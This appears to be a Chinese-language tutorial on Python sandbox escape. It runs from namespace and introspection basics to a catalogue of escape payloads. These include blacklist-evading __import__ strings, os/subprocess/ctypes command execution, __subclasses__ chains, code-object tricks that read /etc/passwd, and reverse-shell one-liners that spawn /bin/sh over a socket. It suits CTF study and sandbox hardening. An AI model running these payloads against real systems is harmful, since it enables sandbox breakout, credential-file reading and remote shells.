Python 沙箱逃逸

sky123

Python 基础知识

Python 程序结构

模块(Module)

在 Python 中模块(Module)就是一个 .py 文件。当你 import 它时,Python 会先运行一次这个文件里的代码,然后把运行结果打包成一个模块对象。这个模块对象里保存了你在文件里定义的变量、函数和类,这个保存空间就是它的命名空间(其实就是一个字典,键是名字,值是对象)。

Python 会把这个模块对象存到一个全局字典 sys.modules,下次你再导入同名模块,就直接从这个字典里拿现成的,不会再运行一次文件里的代码。具体过程为:

  1. 先检查全局字典 sys.modules 有没有这个模块对象
    • 有 → 直接返回,不会重复运行文件里的代码
    • 没有 → 执行下一步
  2. 创建一个新的模块对象<class 'module'>
  3. 把模块对象插入到 sys.modules,键是模块名
  4. 执行模块文件里的代码,把顶层定义的名字(变量、函数、类等)放进模块对象的 __dict__(命名空间)

其中 __main__ 模块是 Python 运行时的第一个模块,因此在任何 Python 程序中,sys.modules["__main__"] 都指向当前入口模块,也就是运行环境的全局作用域。

  • __name__:模块全名;脚本直跑时为 "__main__"
  • __file__:源文件路径(内置模块可能没有)
  • __spec__:导入规范对象,描述如何加载(PEP 451)
  • __package__:包名(决定相对导入基准)
  • __loader__:加载器对象
  • __cached__:对应 .pyc 路径

包(Package)

包(Package)是包含 __init__.py 文件的目录,用于将多个模块按层次结构组织起来。包的作用是把多个模块按层次结构组织起来,就像文件夹管理文件一样。

技术上,包也是 <class 'module'> 对象。包和模块唯一区别是:普通模块来源是一个 .py 文件;包来源是一个 **目录 + __init__.py**。

另外包里面既可以包含模块还可以包含其他的包。在包对应的目录下:

  • .py 文件 → 子模块

  • 目录(含 __init__.py)→ 子包

导入时,这些子模块 / 子包会被加载为模块对象,并放进所在包的命名空间里。例如:

1
import mypkg.subpkg.mod

会让:

  • mypkg.__dict__['subpkg'] 保存 <module 'mypkg.subpkg'>
  • mypkg.subpkg.__dict__['mod'] 保存 <module 'mypkg.subpkg.mod'>

命名空间(Namespace)

命名空间(Namespace)就是名字到对象的映射关系,本质是一个字典,用来存放“某个名字当前指向哪个对象”的信息。

Python 中几乎所有东西(变量、函数、类、模块、包)都是对象,命名空间就是这些名字的存放位置。

常见的几类命名空间:

  • 局部命名空间(Local):函数或方法内部定义的名字(参数、局部变量等)。
  • 闭包命名空间(Enclosing):嵌套函数的外层函数作用域。
  • 全局命名空间(Global):一个模块文件顶层定义的名字(模块级变量、函数、类等)。
  • 内置命名空间(Builtins):Python 启动时加载的内置名字(lenprintException 等)。

变量查找遵循 LEGBLocal → Enclosing → Global → Builtins) 顺序,找不到就抛 NameError保证了不同作用域的变量互不冲突

在 Python 中,我们可以通过 globals()locals() 函数分别获取当前模块的全局命名空间当前作用域的局部命名空间,另外模块的 __dict__ 属性表示的是模块的命名空间。

1
2
3
4
5
import math

print(globals()) # 当前模块的全局命名空间
print(locals()) # 当前作用域的局部命名空间
print(math.__dict__) # math 模块的命名空间

builtins 模块

什么是 builtins?

在 Python 中,有一组功能是默认就可以用的,比如:

1
2
3
print("hello")
len([1, 2, 3])
int("123")

这些函数我们从来没导入过,就可以直接用。其实它们都来自于一个叫 builtins 的模块。

builtins 是 Python 解释器自动导入的模块,包含了 Python 所有的内置函数、类型、异常、常量等。

你可以这样访问它:

1
2
import builtins
print(dir(builtins)) # 列出其中所有内容

builtins 模块内容

内置函数(Built-in Functions)

这是我们最熟悉的一类,直接上常用函数举例:

函数 用途说明
print() 打印输出
len() 获取长度
type() 获取类型
int() 转换整数
str() 转换字符串
input() 获取用户输入
max()/min() 获取最大/最小
sum() 求和
sorted() 排序
range() 生成范围迭代器
abs() 绝对值
isinstance() 判断对象类型
enumerate() 获取下标+元素
zip() 打包多个迭代器
eval() / exec() 动态执行字符串代码(危险函数,慎用)

🔍 这些函数本质上等价于 builtins.print()builtins.len() 等,但我们用的时候可以省略 builtins.,因为它们自动导入到当前作用域中。

内置类型(Built-in Types)

这些是 Python 的核心数据类型,都是类(type),可实例化。

类型名称 示例 用途
int int(123) 整数类型
float float(3.14) 浮点数类型
str 'abc' 字符串
bool True / False 布尔值
list [1,2,3] 列表
tuple (1,2,3) 元组
dict {'a':1} 字典
set {1,2,3} 集合
bytes b'abc' 字节序列
complex 1+2j 复数
object 所有类的父类
type 所有类型的元类

这些你可以当作构造函数使用,也可以用来做类型判断。

1
isinstance(123, int)  # True

内置异常(Built-in Exceptions)

Python 中所有异常类型也都定义在 builtins 中,比如:

异常名称 触发场景
Exception 所有异常的基类
ValueError 值不合法
TypeError 类型不合法
NameError 变量未定义
IndexError 索引越界
KeyError 字典键不存在
AttributeError 属性不存在
ZeroDivisionError 除以零
ImportError / ModuleNotFoundError 导入失败
SyntaxError 语法错误(解释器发现)
IndentationError 缩进错误

使用示例:

1
2
3
4
try:
1 / 0
except ZeroDivisionError:
print("除零错误")

内置常量(Built-in Constants)

这些是所有 Python 代码中都会默认可用的固定值:

常量 含义
True 布尔真
False 布尔假
None 空值/无返回值
Ellipsis ...,可用作占位符
NotImplemented 某些操作未实现时返回的特殊值

使用场景

动态修改内置函数

如果你想重写一个内置函数,但仍然希望在某些情况下调用原始的内置函数,可以通过导入并使用 builtins 模块来实现。

1
2
3
4
5
6
import builtins

# 修改 print 的行为
print = lambda *args, **kwargs: builtins.print("【DEBUG】", *args, **kwargs)

print("Hello") # 输出: 【DEBUG】 Hello

控制可用的内置函数

在使用 eval()exec() 动态执行代码时,可以通过设置全局字典中的 __builtins__ 项,控制哪些内置函数可用或完全禁用内置功能

这是一种用于 沙箱(sandbox)安全隔离限制运行环境 的技巧,常用于执行用户提供的代码但限制其权限。

1
2
3
code = "print('hello')"

eval(code, {"__builtins__": {}}) # ⛔ 报错:name 'print' is not defined

内省机制(Introspection)

Python 的 内省机制(Introspection) 是指程序在 运行时 可以检查对象类型、属性、结构、方法等信息的能力。这也是 Python 被称为“动态语言”或“高度自省语言”的一个重要原因。

对象的类型/结构

工具/函数 作用
type(obj) 返回对象的类型
id(obj) 返回对象的内存地址(唯一标识)
isinstance(obj, T) 判断对象是否为某类或其子类
issubclass(A, B) 判断类 A 是否是类 B 的子类
callable(obj) 判断对象是否可调用(函数/类等)
1
2
3
print(type("hello"))         # <class 'str'>
print(isinstance(123, int)) # True
print(callable(len)) # True

获取对象成员

工具/函数 作用
dir(obj) 列出对象的所有属性和方法名
hasattr(obj, name) 判断是否有属性
getattr(obj, name) 动态获取属性
setattr(obj, name, value) 设置属性值
delattr(obj, name) 删除属性
1
2
3
4
5
6
7
8
9
class Person:
def __init__(self): self.name = "Tom"

p = Person()
print(dir(p)) # 所有方法和属性
print(hasattr(p, 'name')) # True
print(getattr(p, 'name')) # "Tom"
setattr(p, 'age', 18)
print(p.age) # 18

命名空间与作用域

工具/函数 作用
globals() 返回当前模块的全局变量字典(可读写)
locals() 返回当前局部作用域的变量字典(只读/只写)
vars([obj]) 返回对象的 __dict__,或当前局部变量字典
1
2
3
4
5
6
7
8
x = 10

def func():
y = 20
print("globals:", globals().keys()) # 包括 x、func 等
print("locals:", locals().keys()) # 只有 y

func()

文档与帮助

工具/函数 作用
help(obj) 显示帮助文档(交互式)
obj.__doc__ 返回对象的 docstring
__annotations__ 返回类型注解信息
1
2
3
4
5
6
def add(x: int, y: int) -> int:
"""加法函数"""
return x + y

print(add.__doc__) # "加法函数"
print(add.__annotations__) # {'x': int, 'y': int, 'return': int}

inspect 模块

inspect 是 Python 标准库中的 introspection 工具集,可用于:

  • 函数参数签名分析
  • 获取源码、定义位置、文档
  • 判断对象类型(是否函数、类、方法、生成器等)
常用函数 作用
inspect.getsource(obj) 获取对象的源代码
inspect.getdoc(obj) 获取对象的 docstring
inspect.signature(func) 获取函数的签名信息
inspect.isfunction(obj) 是否是函数
inspect.getfile(obj) 返回定义对象的源码文件路径
inspect.ismethod(obj) 是否是方法(类中定义)
inspect.getmembers(obj) 获取成员名和值的元组列表
1
2
3
4
5
6
7
8
9
10
import inspect

def greet(name: str = "Tom") -> str:
"""打招呼"""
return f"Hello {name}"

print(inspect.getsource(greet)) # 查看源码
print(inspect.getdoc(greet)) # 打招呼
print(inspect.signature(greet)) # (name: str = 'Tom') -> str
print(inspect.getmembers(greet)) # 所有成员信息(包括 __code__、__defaults__ 等)

魔术方法 / 属性

Python 中以 __xxx__ 命名的属性/方法被称为魔术方法(magic methods)或魔术属性。它们允许你自定义对象的行为、重载操作符、控制生命周期和访问机制等。

在沙箱逃逸、权限绕过、动态执行中,这些方法和属性也能被用作关键入口。

模块 / 作用域相关

__builtins__

__builtins__ 是由 Python 解释器自动注入的一个模块对象,它在每个作用域(全局)中默认存在。

1
2
3
4
>>> dir()
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'subprocess']
>>> type(__builtins__)
<class 'module'>

模块对象本质上是一个命名空间容器,其中包含该模块中定义的所有内容,如函数、变量、类等。这里的命名空间容器是指模块对象中的 __dict__ 属性,记录了该模块中定义的所有名字与对象的映射。

__builtins__ 指向模块 builtins,该模块包含了所有 Python 的内置函数、异常、基本类型等,提供当前作用域中所有内置对象的访问能力。像 print()len()open()Exception 等,都是从 __builtins__ 来的(例如 __builtins__.print)。

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'aiter', 'all', 'anext', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

__import__

__import__ 是 Python 的一个 内置函数(builtin function),它由内置模块 builtins 提供。这个函数是所有 import xxx 语句的底层实现机制。你可以用它在运行时动态地导入模块。

1
__import__('os').system('ls')

提示

由于 __import__ 可接受 字符串参数,因此可以用于 绕过静态字符串过滤(如黑名单):

1
__import__('o'+'s').system('ca'+'lc')

__import__ 获取的是模块名称对应的 模块对象(module object)

1
2
3
4
>>> __import__('os')
<module 'os' (frozen)>
>>> dir(__import__('os'))
['DirEntry', 'F_OK', 'MutableMapping', 'O_APPEND', 'O_BINARY', ..., 'walk', 'write', 'writev']

__dict__

__dict__ 是 Python 中的大多数对象(如模块、类、实例、函数等)自带的一个内省属性,它以字典形式保存了该对象的命名空间(namespace),也就是这个对象所拥有的所有“可写属性”。

这是对象的一个内部属性,底层就是一个字典,记录了对象有哪些属性(包括你手动赋值的变量、函数等)。

1
2
>>> __import__('sys').modules['__main__'].__dict__ == globals()
True

__class__

__class__所有 Python 对象都拥有的一个属性,表示该对象的类,也就是该对象是由哪个类创建的

1
2
3
4
5
6
>>> ''.__class__
<class 'str'>
>>> ''.__class__.__class__
<class 'type'>
>>> ''.__class__.__class__.__class__
<class 'type'>

提示

  • 本身也是一个对象 —— 它是 type 类的实例。所以当我们说“类对象”,就是指:一个对象,它是通过 type 类构造出来的。

  • type 类本身也是一个对象,它的类还是 type(是自己创建自己的类)。

  • builtins 模块中提供了大量 type 的实例,也就是我们平时使用的 内置类型(类),例如 strint 等。

    1
    2
    3
    4
    >>> str
    <class 'str'>
    >>> ''.__class__ == str
    True

__bases__

__bases__类对象(类型为 type 的对象)的一个属性,表示该类的直接父类(基类)组成的元组。另外类对象还有一个 __base__ 属性,它返回的是 __bases__ 元组的第一个元素

1
2
3
4
5
6
>>> str.__bases__
(<class 'object'>,)
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ''.__class__.__bases__[0].__bases__
()

提示

  • 因为 Python 支持多重继承,一个类可以有多个父类,所以__bases__ 返回的是一个 元组

    1
    2
    3
    4
    5
    6
    class A: pass
    class B: pass
    class C(A, B): pass

    print(C.__bases__)
    # 输出: (<class '__main__.A'>, <class '__main__.B'>)
  • 所有类最终都继承自 object,因为 object所有新式类(Python 3 全部是新式类) 的根基类。而 object.__base__ 返回一个空元组 (),说明它没有基类。

__mro__

__mro__(Method Resolution Order)是类对象的一个属性,返回该类的方法解析顺序,即调用方法时按照哪些顺序查找类中的方法。

1
2
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

提示

当沙箱清空了 __builtins__ 中的内置类时(没有 object 等内置的类 ),我们通常使用 __mro__ 来获得一个 object 类。

1
2
>>> ''.__class__.__mro__[-1]
<class 'object'>

__subclasses__()

__subclasses__()的一个方法,用于获取该类的所有直接子类。它返回一个列表,包含了当前运行环境中,从该类直接继承的所有类(子类对象)。

1
2
3
4
5
6
7
8
class A: pass
class B(A): pass
class C(B): pass

A.__subclasses__() # ✅ [<class '__main__.B'>]
B.__subclasses__() # ✅ [<class '__main__.C'>]
C.__subclasses__() # ✅ []
A().__subclasses__() # ❌ AttributeError:实例对象没有这个方法

提示

因为所有的类都所有类最终都继承自 object,因此我们可以先找到 object 类,然后再通过 object.__subclasses__() 找到所需的类。

1
2
# 2. 获取其所有子类
''.__class__.__mro__[-1].__subclasses__()

函数 / 方法的执行环境

__globals__

__globals__Python 函数对象独有的一个特殊属性,它指向一个字典对象,即该函数定义时所处模块的全局命名空间(也叫全局作用域,或 module namespace)。换句话说,**__globals__ 等价于函数定义所在模块的 globals() 返回值**。你可以通过这个属性,访问定义函数时所在模块的所有全局变量,包括导入的模块、函数、类、常量等。

__globals__ 是指函数定义时所在模块的作用域,只属于函数对象;而 __dict__对象自身的命名空间字典,适用于大多数对象(模块、类、实例、函数等)。其中模块的 __dict__ 等于模块中定义的函数的 __globals__ 等于在模块中调用 globals() 函数的返回结果

1
2
3
>>> foo = lambda:None
>>> __import__('sys').modules['__main__'].__dict__==foo.__globals__==globals()
True

提示

  • __globals__ 是绑定在函数上的,无论函数在何处被调用,它的 __globals__ 都不会变,始终指向定义它的模块。

  • 某些内置函数(如 lenos.system)是 C 实现的,它们没有 __globals__ 属性

__init__

__init__ 是类的“构造器方法”,在类实例化时自动调用,用于初始化实例的属性。

对象的 __init__ 方法分为“默认的”“重载过的”两种情况:

  • 如果你 没有在类里定义 __init__,Python 会自动从其父类继承一个默认的 __init__ 方法。这是 内置的 object 类 提供的默认 __init__,它是一个 C 实现的“slot wrapper”,不是真正的 Python 函数。

    1
    2
    >>> str.__init__
    <slot wrapper '__init__' of 'object' objects>
  • 如果你 定义了自己的 __init__ 方法,则你看到的就是一个标准的 Python 函数对象。

    1
    2
    3
    4
    5
    6
    class B:
    def __init__(self):
    print("init from B")

    print(B.__init__)
    # 输出 <function B.__init__ at 0x...>

其中默认的 __init__ 是 C 实现的 slot wrapper,没有 __globals__ 属性;而只有Python 写的函数才有 __globals__,才能通过它来找到导入的模块。

因此在沙箱逃逸中常常需要寻找一个拥有重载 __init__ 的对象,然后通过 obj.__init__.__globals__ 来获得该对象的所在模块的全局命名空间。在这个全局全局命名空间中,我们可以找回被沙箱删除掉的 __builtins__os 等模块。

提示

实际上在沙箱逃逸中,我们不一定要用 __init__ 函数的 __globals__ 属性来获取所在模块的全局命名空间,其他函数也是可以的。

  • __del__:一个类的析构函数,当一个对象被销毁时,它会被自动调用。
  • __str__ / __repr__:用于定义对象的字符串表示形式。__str__ 在使用 str()print() 时调用,__repr__ 在使用 repr() 或交互式解释器时调用。如果未定义 __str__,则默认使用 __repr__
  • __eq__ / __ne__ / __lt__ / __gt__ / __le__ / __ge__:定义对象之间的比较操作,如等于、不等于、小于、大于、小于等于、大于等于。
  • __add__ / __sub__ / __mul__ / __div__ / __mod__ / __pow__:定义基本数学运算符的行为,如加、减、乘、除、取模、幂运算等。
  • __getitem__ / __setitem__ / __delitem__:定义对象通过索引访问、赋值和删除的行为,支持类似列表、字典的操作。
  • __iter__ / __next__:定义对象的迭代行为,支持 for 循环或手动调用 next()
  • __call__:允许实例像函数一样被调用,即支持 obj() 这样的语法。
  • __getattr__ / __setattr__ / __delattr__:用于拦截属性的访问、设置和删除操作,常用于自定义对象属性管理逻辑。

属性获取 / 设置

__getattribute__(name)

对象所有属性访问时,都会先调用它(无论属性是否存在),优先级高于 __getattr__

可以在沙箱题中通过覆写它,拦截所有属性访问,甚至转发到真实对象。

__getattr__(name)

访问不存在的属性时才调用它。在属性被删或被过滤的环境里,可以利用它返回一个伪造对象或转发到真实对象。

另外还有:

  • __setattr__(name, value)任何属性赋值时都会调用它。
  • __delattr__(name):删除属性时调用。

__getitem__(key)

obj[key] 访问时调用,另外还有:

  • __setitem__(key, value)obj[key] = value 时调用。
  • __delitem__(self, key)del obj[key] 时调用。

__dir__()

dir(obj) 调用时执行,返回属性列表。

沙箱逃逸目标

命令执行

builtin 模块

方法 多行支持 返回值
exec(code) None
eval(expr) 计算结果
eval(compile(code,"exec")) None

exec(执行 Python 代码字符串)

支持多行代码,执行结果是 None(无返回值),运行环境默认是当前全局/局部作用域。

1
exec('__import__("os").system("ls")')

也可以通过 builtins 模块间接调用:

1
2
__builtins__.exec('__import__("os").system("ls")')
print.__self__.exec('__import__("os").system("ls")')

eval(求值表达式)

只能执行单个表达式(不能直接多行、不能直接赋值语句等),返回表达式计算结果。

1
eval('__import__("os").system("ls")')

eval 无法直接达到执行多行代码的效果,使用 compile 函数并传入 exec 模式就能够实现。

1
eval(compile('__import__("os").system("ls")', '<string>', 'exec'))

Python 内置函数 compile(source, filename, mode) 会把 源码字符串 编译成 可执行的代码对象(code object)

  • source :要编译的 Python 代码(字符串、AST 等)
  • filename :代码来源名字(给调试器/异常信息用,随便写,比如 <string><payload>
  • mode
    • 'exec' → 执行模式,可包含多行语句(fordefimport 等)
    • 'eval' → 表达式模式,只允许单个表达式
    • 'single' → 单行模式,交互式执行(会回显)

os 模块

方法 是否走 Shell 是否返回结果 是否替换当前进程 是否可传环境变量
os.system ❌(返回码) 间接(依赖 shell)
os.popen ✅(输出) 间接(依赖 shell)
posix_spawn
spawnv
exec* 系列 ❌/PATH 可选 部分支持(带 e 的)
fork+cmd 可选 可选 可选

system / popen 系列(最直观)

直接通过 shell 执行命令,结果返回码或输出内容。

1
2
3
4
5
import os
os.system('ls') # 执行命令,返回 exit code
__import__('os').system('ls') # 动态导入绕过

os.popen("ls").read() # 执行命令并读取输出

⚠️ system 会启动一个 shell(sh/bash),popen 还能直接捕获输出。

spawn / posix_spawn 系列(直接运行可执行文件)

直接执行可执行文件,可传参数和环境变量,依赖 execve。不走 shell,直接运行二进制。常用于不想依赖 shell 解析的场景(绕过某些字符过滤)。

1
2
3
4
os.posix_spawn("/bin/ls", ["/bin/ls", "-l"], os.environ)
os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)

os.spawnv(0, "/bin/ls", ["/bin/ls", "-l"])
  • posix_spawn只有类 Unix 系统可用,Windows 会直接 AttributeError
  • spawnv → Windows 和类 Unix 都能用,但执行行为会跟平台相关。

exec* 系列(替换当前进程)

直接替换当前 Python 进程为目标程序(执行后 Python 不会返回)。

函数 路径方式 传参方式 环境变量指定 PATH 搜索
execl 绝对路径 分散参数
execle 绝对路径 分散参数
execlp 程序名 分散参数
execlpe 程序名 分散参数
execv 绝对路径 列表参数
execve 绝对路径 列表参数
execvp 程序名 列表参数
execvpe 程序名 列表参数

例子:

1
2
3
4
5
import os
os.execl('/bin/sh', 'sh') # 最简单 exec
os.execve('/bin/sh', ['sh'], os.environ) # 列表 + 环境
os.execlp('sh', 'sh') # 搜索 PATH
__import__('os').execvpe('sh', ['sh'], __import__('os').environ)

特点:

  • 进程替换,没有返回值(当前 Python 进程终止)。
  • 适合提权后直接切 shell。

fork + 命令执行(子进程运行)

手动 fork 出一个子进程执行命令。

1
(__import__('os').fork() == 0) and __import__('os').system('ls')
  • 父进程继续运行,子进程执行命令。
  • 常配合 exec 系列实现并行。

subprocess 模块

方法 Python 版本 返回值类型 / 内容 失败处理 获取输出方式 是否走 shell
Popen py2 / py3 Popen 对象 ❌(需 stdout=PIPE.stdout.read() 默认否,可选
call py2 / py3 int(exit code) 默认否,可选
check_call py2 / py3 int(exit code) 错误抛异常 默认否,可选
check_output py2 / py3 bytes(命令输出) 错误抛异常 ✅(直接返回 stdout) 默认否,可选
run py3 CompletedProcess 对象 可选抛异常 ✅(需 capture_output=Truestdout=PIPE 默认否,可选
getoutput py3 str(命令输出) ✅(直接返回 stdout) 总是 shell=True
getstatusoutput py3 (int, str) ✅(返回 exit code 和 stdout) 总是 shell=True

Popen 系列(底层构造,灵活度最高)

直接启动一个新进程,可以配置 stdin / stdout / stderr 管道、是否用 shell。

1
2
3
subprocess.Popen(args, bufsize=-1, executable=None,
stdin=None, stdout=None, stderr=None,
shell=False, cwd=None, env=None, ...)
  • args:要执行的命令(字符串或列表)
  • stdout / stderr / stdin:控制标准流(默认继承父进程)
  • shell:是否通过 shell 执行(/bin/shcmd.exe
1
2
3
4
5
6
7
8
9
10
11
import subprocess
# 执行命令并读取输出
subprocess.Popen(
'ls', # args:要执行的命令(因为 shell=True,所以是字符串)
shell=True, # 通过 shell 运行(Linux 默认 /bin/sh)
stdout=subprocess.PIPE, # 把子进程的 stdout 重定向到管道
stderr=subprocess.STDOUT # 把 stderr 合并到 stdout
).stdout.read() # 从 stdout 管道中一次性读取全部内容

# 沙箱绕过:动态导入
__import__('subprocess').Popen('whoami', shell=True)

阻塞执行并获取状态/输出

调用后会等外部命令执行结束再返回(除非超时或被信号中断)

1
2
3
4
5
6
7
8
9
10
11
12
# python2
subprocess.call('whoami', shell=True) # 返回 exit code
subprocess.check_call('whoami', shell=True) # exit code !=0 抛异常
subprocess.check_output('whoami', shell=True) # 返回输出(str)

# python3
subprocess.run('whoami', shell=True) # 返回 CompletedProcess 对象
subprocess.getoutput('whoami') # 返回输出(简化版)
subprocess.getstatusoutput('whoami') # 返回 (exit_code, output)
subprocess.call('whoami', shell=True) # 同 py2
subprocess.check_call('whoami', shell=True) # 同 py2
subprocess.check_output('whoami', shell=True) # 同 py2

ctypes 模块

ctypes 模块可以直接调用 C 语言动态链接库(DLL / so / dylib)中的函数,比如 system(),从而执行系统命令。

Linux

在类 Unix 系统中,system 函数通常在 libc 里,可以用 ctypes.CDLL(None) 或直接指定库名。

1
2
3
4
5
import ctypes

# 当前进程已加载的 libc
libc = ctypes.CDLL(None)
libc.system(b'ls ./') # 注意传入字节串

或者更稳妥(显式加载 libc):

1
2
3
import ctypes, ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
libc.system(b'ls /')

沙箱中可以这么用:

1
__import__('ctypes').CDLL(None).system('ls /'.encode())

Windows

Windows 上 ctypes.CDLL(None) 不可用,system 在 MSVCRT 或 UCRT 库中。

POSIX 系统(Linux/macOS)里,CDLL(None) 会让 ctypes 调用底层的 dlopen(NULL, flags)dlopen(NULL, ...) 的语义是:返回当前进程已经加载的主程序(和它依赖的库)的符号表。

Windows 下 ctypes.CDLL 底层调用的是 LoadLibrary()(或 LoadLibraryEx())。传 None 相当于 LoadLibrary(NULL),而在 Windows API 里:NULL 不是 “当前进程的符号表”,而是被当成一个无效指针 → 导致 ctypes 内部想解析路径时报错(你看到的 TypeError: argument of type 'NoneType' is not iterable 就是这里触发的)

Windows 如果你想拿到“当前进程已加载的模块”,得用 GetModuleHandle(),而且要传一个已经加载的 DLL 名,比如:

1
2
import ctypes
handle = ctypes.windll.kernel32.GetModuleHandleW("msvcrt.dll")
1
2
3
4
5
6
7
8
9
10
import ctypes

# 方式 1:ANSI 版本(字节串)
msvcrt = ctypes.CDLL('msvcrt') # 或 'ucrtbase'
msvcrt.system(b'cmd /c dir')

# 方式 2:Unicode 版本(字符串)
ucrt = ctypes.CDLL('ucrtbase')
ucrt._wsystem.argtypes = [ctypes.c_wchar_p]
ucrt._wsystem("cmd /c dir")

沙箱绕过写法:

1
__import__('ctypes').CDLL('msvcrt').system(b'cmd /c dir')

timeit 模块

1
2
import timeit
timeit.timeit("__import__('os').system('ls')",number=1)

platform 模块

1
2
3
import platform
platform.sys.modules['os'].system('ls')
platform.os.system('ls')

pty 模块

仅限 Linux 环境

1
2
3
import pty
pty.spawn("ls")
__import__('pty').spawn("ls")

_posixsubprocess 模块

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

结合 __loader__.load_module(fullname) 导入模块

1
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

反弹 shell

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")
1
s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(("127.0.0.1",12345));[__import__('os').dup2(s.fileno(),i) for i in range(3)];__import__('pty').spawn("/bin/sh")

构造代码对象进行 RCE

CodeType 是 Python 内置的代码对象类型,表示编译后的字节码(由 compile() 生成)。所有函数的 __code__ 属性就是一个 CodeType 对象。CodeType 中包含了:

  • co_code:字节码指令
  • co_consts:常量池
  • co_names:全局变量名
  • co_varnames:局部变量名
  • 以及堆栈大小、参数个数、调试信息等

Python 不允许直接修改 code.co_code 等属性(只读)。但是:

  • 可以给函数直接换一个新的 __code__ 对象。
  • 可以构造新的 CodeType 对象(或者用 replace() 修改),实现任意指令注入。
  • 可以用 exec()types.FunctionType() 直接运行这个 CodeType 对象。

因此我们可以通过 CodeType 进行 RCE。

执行 CodeType 对象

有两种方式可以执行代码对象:

  • 方法 1:exec 模式

    1
    2
    3
    4
    5
    6
    import types

    def read():
    print(open("/etc/passwd").read())

    exec(read.__code__, {'__builtins__': __builtins__})
  • 方法 2:FunctionType 包装

    1
    2
    3
    4
    5
    6
    7
    import types

    def read():
    print(open("/etc/passwd").read())

    fn = types.FunctionType(read.__code__, {'__builtins__': __builtins__})
    fn()

替换函数的 code

1
2
3
4
5
6
7
8
def read():
print(open("/etc/passwd").read())

def target():
pass

target.__code__ = read.__code__
target() # 相当于执行 read()

构造新的 CodeType 对象

不同版本 CodeType 的构造参数不同:

  • Python ≤ 3.7:参数少(无 posonlyargcount / qualname)。
  • Python 3.8:新增 posonlyargcount,并引入 **code.replace()**。
  • Python 3.11:结构改动大,引入 co_linetableco_exceptiontable

查看当前版本需要的参数:

1
2
import types
help(types.CodeType)
  • 手动构造(不推荐,容易踩版本坑),以 Python 3.11 为例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    import types

    def read():
    print(open("/etc/passwd").read())

    c = read.__code__
    CodeType = type(c)

    codeobj = CodeType(
    c.co_argcount, c.co_posonlyargcount, c.co_kwonlyargcount,
    c.co_nlocals, c.co_stacksize, c.co_flags,
    c.co_code, c.co_consts, c.co_names, c.co_varnames,
    c.co_filename, c.co_name, c.co_qualname,
    c.co_firstlineno, c.co_linetable, c.co_exceptiontable,
    c.co_freevars, c.co_cellvars
    )

    exec(codeobj, {'__builtins__': __builtins__})
  • 用 replace(推荐,3.8+)

    1
    2
    3
    4
    5
    6
    7
    def read():
    print(open("/etc/passwd").read())

    new_code = read.__code__.replace(
    co_consts=read.__code__.co_consts + ('/etc/passwd',)
    )
    exec(new_code, {'__builtins__': __builtins__})
  • 用 compile 直接生成 CodeType

    1
    2
    payload_code = compile('print(open("/etc/passwd").read())', '<x>', 'exec')
    exec(payload_code, {'__builtins__': __builtins__})

读写文件

file 类

1
2
3
# Python2 
file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在

open 函数

1
2
3
open('/etc/passwd').read()
__builtins__['open']('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

codecs 模块

1
2
import codecs
codecs.open('test.txt').read()

get_data 函数

FileLoader 类

1
2
# _frozen_importlib_external.FileLoader.get_data(0,<filename>)
"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")

